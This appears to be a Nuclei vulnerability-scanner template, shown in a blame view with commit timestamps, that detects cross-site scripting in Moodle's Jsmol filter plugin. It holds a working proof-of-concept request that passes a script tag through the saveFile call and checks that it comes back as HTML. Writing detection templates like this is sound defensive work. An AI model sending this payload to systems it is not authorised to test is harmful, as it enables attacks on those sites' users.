nuclei-templates/vulnerabilities/moodle/moodle-filter-jmol-xss.yaml

38 lines
1.1 KiB
YAML
Raw Normal View History

id: moodle-filter-jmol-xss
2020-04-08 12:48:06 +00:00
info:
name: Moodle Jsmol - Cross-Site Scripting
2020-04-08 12:48:06 +00:00
author: madrobot
2020-05-24 22:19:21 +00:00
severity: medium
description: Moodle contains a cross-site scripting vulnerability via the Jsmol plugin and may also be susceptible to local file inclusion or server-side-request forgery. An attacker can execute arbitrary script in the browser of an unsuspecting user and steal cookie-based authentication credentials and launch other attacks.
reference:
- https://www.dionach.com/blog/moodle-jmol-plugin-multiple-vulnerabilities/
classification:
2023-03-03 15:27:54 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cwe-id: CWE-80
tags: moodle,xss
2020-04-08 12:48:06 +00:00
requests:
- method: GET
path:
2021-07-14 10:37:09 +00:00
- "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E&mimetype=text/html"
matchers-condition: and
2020-04-08 12:48:06 +00:00
matchers:
- type: status
status:
2020-05-24 22:19:21 +00:00
- 200
2021-07-14 10:37:09 +00:00
2020-04-08 13:27:52 +00:00
- type: word
words:
2021-07-14 10:37:09 +00:00
- "<script>alert('XSS')</script>"
2020-04-08 12:48:06 +00:00
part: body
2021-07-14 10:37:09 +00:00
- type: word
part: header
words:
- "text/html"
# Enhanced by md on 2022/09/19